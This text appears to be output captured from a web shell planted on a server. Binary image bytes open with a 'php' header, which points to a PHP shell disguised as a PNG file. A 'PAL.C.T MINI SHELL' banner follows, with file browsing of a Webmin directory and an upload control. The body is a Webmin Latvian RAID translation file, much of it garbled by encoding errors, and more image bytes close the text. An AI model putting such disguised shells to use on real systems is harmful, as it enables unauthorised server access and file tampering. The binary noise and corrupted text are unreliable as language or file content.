‰php  IHDRwQ)Bæa pHYs  šœsRGB®ÎégAMA± üaÔIDATxíÜMk\UÇás&uo,ÖmÄD )XwîŒ+Çe?‰ºtw.“oàWpå§;—³°QHZnw¢`gaiJ’9Þˆ‰ÑÒÌŸç™û¾ýÍaî=·nlŽ[ ʨG܉;@ q$îÄ ¸w€@âH܉;@ q$îÄ ¸w€@âH܉;@ q$îÄ ¸w€@âH܉;@ q$îÄ ¸w€@âH܉;@ q$îÄ ¸w€@âH܉;@ q$îÄ ¸w€@âH܉;@ q$îÄ ¸w€@âH܉;@ q$îú¸·y H†¯@E7j­Í 1j+OF¥–€‹Rg}Ü«‘;@’E™Öa¹±ùáÓ~ ÿj`Ùuû'ož> ÙjÝ-$˜_§q?¾q¸SXzG'åóay

PAL.C.T MINI SHELL
files >> /usr/libexec/webmin/raid/lang/
upload
files >> //usr/libexec/webmin/raid/lang/lv.auto

index_title=Linux RAID
index_none=Nav konfigurēta neviena RAID ierīce.
index_add=Izveidot RAID līmeņa ierīci:
index_return=RAID ierīces
index_emdstat=Kodola RAID statusa fails $1 jÅ«su sistÄ“mÄ neeksistÄ“. JÅ«su kodols, iespÄ“jams, neatbalsta RAID.
index_eprogs=JÅ«su sistÄ“mÄ nav instalÄ“ti ne RAID rÄ«ki, ne MDADM pakotnes.
index_mdadm=Izmantojot MDADM versiju $1 
index_raidtools=Izmantojot RaidTools
index_name=Ierīces nosaukums
index_active=Aktīvs?
index_errors=Kļūdas
index_status=Statuss
index_level=RAID līmenis
index_size=Izmantojamais izmērs
index_members=Locekļu disku ierīces
index_header=RAID problēmas paziņošanas iespējas
index_mailaddr=Sūtīt paziņojumus uz
index_mailaddrnone=Nesūtiet
index_mailfrom=No adreses paziņojumiem
index_mailfromnone=Noklusējums (<tt>sakne</tt>)
index_program=Komanda palaist, kad tiek atklÄtas problÄ“mas
index_programnone=Neskrien nevienu
index_monitor=Uzraudzība ir iespējota?

linear=LineÄrs (salikts)
raid0=RAID0 (svītrains)
raid1=RAID1 (atspoguļots)
raid4=RAID4 (Ä«paÅ¡a paritÄte)
raid5=RAID5 (sadalÄ«tÄ paritÄte)
raid6=RAID6 (divkÄrÅ¡i sadalÄ«ta paritÄte)
raid10=RAID10 (svītrains un spoguļattēls)
blocks=bloki

create_title=Izveidot RAID ierīci
create_header=RAID ierīces opcijas
create_device=Ierīces fails
create_level=RAID līmenis
create_disks=Starpsienas RAID
create_spares=Rezerves starpsienas
create_pdisk=ParitÄtes nodalÄ«jums
create_missing=Vai iekļaut šobrīd trūkstošo disku?
create_pauto=AutomÄtiska
create_nodisks=RAID nav pieejami bezmaksas nodalījumi.
create_super=Noturīgs superbloks?
create_parity=IzkÄrtojums
create_chunk=Rieciena lielums
create_force=Vai piespiest RAID inicializēt?
create_assume=Vai izlaist ierÄ«Äu inicializēšanu?
create_rdev=RAID ierīce $1 
create_lvm=LVM VG $1, LV $2 
create_err=NeizdevÄs izveidot RAID
create_edisks=Nav atlasīts neviens nodalījums
create_edisks2=SpoguļoÅ¡anai jÄizvÄ“las vismaz 2 nodalÄ«jumi
create_espare=Rezerves nodalījums $1 nevar būt arī RAID nodalījums
create_epdisk=ParitÄtes nodalÄ«jums nevar bÅ«t arÄ« RAID nodalÄ«jums
create_group=Rezerves grupas loceklis
create_nogroup=Nav (izmantojiet tikai savas rezerves daļas)
create_oldgroup=EsoÅ¡Ä grupa
create_newgroup=Jauna grupa
create_enewgroup=Trūkst vai nav burtciparu rezerves grupas nosaukums
create_n2_layout=2 NetÄlu no eksemplÄriem
create_f2_layout=2 tÄlie eksemplÄri
create_o2_layout=2 Ofseta kopijas
create_n3_layout=3 Kopiju tuvumÄ
create_f3_layout=3 tÄlie eksemplÄri
create_o3_layout=3 Ofseta kopijas

view_title=RAID ierīce
view_header=RAID ierīces opcijas
view_device=Ierīces fails
view_uuid=UUID
view_level=RAID līmenis
view_status=Failu sistēmas statuss
view_errors=RAID kļūdas
view_bad=$1 disks nav izdevies
view_mounted=UzstÄdÄ«ts uz $1 
view_mount=MontÄžai uz $1 
view_lvm=Izmanto LVM VG $1 
view_iscsi=Izmanto iSCSI koplietotÄ ierÄ«ce $1 
view_active=Aktīvs, bet nemontēts
view_inactive=NeaktÄ«vs un nav uzstÄdÄ«ts
view_super=Noturīgs superbloks?
view_parity=IzkÄrtojums
view_chunk=Rieciena lielums
view_stop=Deaktivizēt
view_stopdesc=Noklikšķiniet uz šīs pogas, lai izslēgtu RAID ierīci, lai tai vairs nevarētu piekļūt.
view_start=Aktivizēt
view_startdesc=Noklikšķiniet uz šīs pogas, lai atkÄrtoti aktivizÄ“tu Å¡o RAID ierÄ«ci.
view_disks=Starpsienas RAID
view_spares=Rezerves starpsienas
view_size=Izmantojamais izmērs
view_resync=VeiksmÄ«gÄ atkÄrtotÄ sinhronizÄcija procentos
view_delayed=Gaida citÄ ierÄ«cÄ“
view_down=(Uz leju)
view_cannot=Å o RAID ierÄ«ci nevar modificÄ“t, jo tÄ Å¡obrÄ«d ir uzstÄdÄ«ta.
view_cannot2=Å o RAID ierÄ«ci nevar uzstÄdÄ«t, deaktivizÄ“t, izdzÄ“st vai pÄrformatÄ“t, jo tÄ Å¡obrÄ«d ir aktÄ«va.
view_mkfs2=Izveidot tipa failu sistēmu:
view_mkfsdesc=Atlasiet failu sistÄ“mas tipu un noklikšķiniet uz šīs pogas, lai Å¡ajÄ loÄ£iskajÄ sÄ“jumÄ izveidotu jaunu failu sistÄ“mu. Tas izdzÄ“sÄ«s visus datus, kas paÅ¡laik atrodas sÄ“jumÄ.
view_add=Pievienot nodalījumu:
view_adddesc=Atlasiet neizmantotu nodalījumu un noklikšķiniet uz šīs pogas, lai to pievienotu RAID ierīcei.
view_delete=Dzēst RAID masīvu
view_deletedesc=Noklikšķiniet uz šīs pogas, lai pilnÄ«bÄ noņemtu Å¡o RAID ierÄ«ci. Visi tajÄ esoÅ¡ie dati gandrÄ«z noteikti tiks zaudÄ“ti!
view_remove=Noņemt nodalījumu:
view_removedesc=Atlasiet nodalījumu, kas ir RAID ierīces daļa, un noklikšķiniet uz šīs pogas, lai to noņemtu. Tas var izraisīt datu zaudēšanu!
view_remove_det=Noņemiet atvienoto
view_remove_detdesc=Noņemiet nodalījumus, kas jau ir fiziski atdalīti no sistēmas.
view_replace=AizstÄt nodalÄ«jumu:
view_replacedesc=Atlasiet nodalÄ«jumu, kas jÄaizstÄj. (KarstÄ aizstÄt)
view_grow=Aug RAID:
view_growdesc=Grow masÄ«vs (pÄrveidojiet rezerves daļas aktÄ«vajiem dalÄ«bniekiem)
view_convert_to_raid6=Konvertēt uz RAID6
view_convert_to_raid6desc=PÄrveidojiet RAID lÄ«meni par RAID6, pievienojot vienu vai vairÄkus diskus.
view_convert_to_raid5=Konvertēt uz RAID5
view_convert_to_raid5desc=PÄrvÄ“rtiet RAID lÄ«meni uz RAID5, noņemot diskdzini.
view_state=RAID statuss
view_rebuild=Progress atjaunošana
view_newmount=RAID uzstÄdīšana:
view_newmount2=Pievienojiet RAID kÄ virtuÄlo atmiņu
view_mountmsg=Ievadiet direktoriju un noklikšķiniet uz šīs pogas, lai pÄrietu uz RAID ierÄ«ces montÄžas formu, kurÄ jau jÄbÅ«t ietvertai failu sistÄ“mai.
view_mountmsg2=Noklikšķiniet uz šīs pogas, lai izmantotu Å¡o RAID ierÄ«ci virtuÄlajai atmiņai jÅ«su sistÄ“mÄ.
view_blocks=$1 bloki
view_sparegroup=Rezerves grupa

mkfs_title=Izveidot failu sistēmu
mkfs_header2=Šī forma ļauj izveidot jaunu $2 failu sistēmu uz $1. <b>Visi</b> esošie dati tiks izdzēsti!
mkfs_options=Jaunas Linux failu sistēmas opcijas
mkfs_err=NeizdevÄs izveidot failu sistÄ“mu
mkfs_exec=Izpilda komandu $1.
mkfs_failed=.. komanda neizdevÄs!
mkfs_ok=.. komanda pabeigta.

emkraid=<tt>mkraid</tt> neizdevÄs : $1 
eraidstop=<tt>reidstop</tt> neizdevÄs : $1 
eraidstart=<tt>raidstart</tt> neizdevÄs : $1 
eforce=Jums ir jÄpiespiež šī RAID inicializÄcija : $1 
emdadmstop=<tt>mdadm</tt> in <tt>--stop</tt> mode failed : $1
emdadmcreate=<tt>mdadm</tt> in <tt>--create</tt> mode failed : $1
emdadmadd=<tt>mdadm</tt> in <tt>--manage --add</tt> mode failed : $1
emdadmgrow=<tt>mdadm</tt> in <tt>--grow</tt> mode failed : $1
emdadmremove=<tt>mdadm</tt> in <tt>--manage --remove</tt> mode failed : $1
emdadmreplace=<tt>mdadm</tt> in <tt>--manage --replace</tt> mode failed : $1
emdadmfail=<tt>mdadm</tt> in <tt>--manage --fail</tt> mode failed : $1

log_create=Izveidota $1 RAID ierīce $2 
log_stop=Deaktivizēta RAID ierīce $1 
log_start=Aktivizēta RAID ierīce $1 
log_delete=Dzēsta RAID ierīce $1 
log_mkfs=Izveidota $1 failu sistēma $2 
log_add=Pievienots nodalījums $2 RAID ierīcei $1 
log_remove=Nodalījums $2 tika noņemts no RAID ierīces $1 
log_replace=Karsti aizstÄts nodalÄ«jums $2 RAID ierÄ«cÄ“ $1 ar rezerves nodalÄ«jumu $3 
log_grow=Audzēta RAID ierīce $1 līdz kopējam $2 diskam
log_convert_to_raid6=RAID5 ierÄ«ce $1 ir pÄrveidota par RAID6 ierÄ«ci
log_convert_to_raid5=RAID6 ierÄ«ce $1 ir pÄrveidota par RAID5 ierÄ«ci
log_notif=AtjauninÄtas RAID problÄ“mas paziņoÅ¡anas iespÄ“jas

notif_err=NeizdevÄs saglabÄt RAID problÄ“mas paziņoÅ¡anas opcijas
notif_emailaddr=Trūkst vai nav derīga paziņojuma adrese
notif_emailfrom=Trūkst vai nav derīga adrese
notif_eprogram=Trūkst vai nav programmas, kas darbotos

delete_title=Dzēst RAID masīvu
delete_rusure=Vai tieÅ¡Äm vÄ“laties izdzÄ“st RAID masÄ«vu $1, kas izmanto $2 diska vietas?
delete_ok=JÄ, izdzÄ“st
delete_eidx=Nav izvēlēts RAID masīvs.

remove_title=Noņemiet nodalījumu no RAID masīva
remove_rusure=Vai tieÅ¡Äm vÄ“laties noņemt RAID masÄ«va $1 nodalÄ«jumu $2 ?
remove_ok=JÄ, noņemiet to
remove_eidx=Nav izvēlēts RAID masīvs.
ß yôÊá½~ŒorÀ5ÖJ™={þÁEÇêe¾uç£Qk®•ᯘG{÷?ù»ã+—]üôçƒÉÍ×ןô?wûM3X^¶Úæ­Œ>{´7Ù¾ì´Kã>èo²ÎnÝ\ÿªÊj¿y·ðR £õãg/î=ÞÿfúOçÖr·o×NVÊv¿ú~ÿY+ü¿NGêu÷ø·Ã®›þë¹HWŠûyëwÆ[eQ¶Ê¨¾SÚb­Ö>öÍËÇþ³>ä}Gçmx[o[<ÞÚ{ðýŸÏ®_ÅïqF– ÚÛvMIEND®B`‚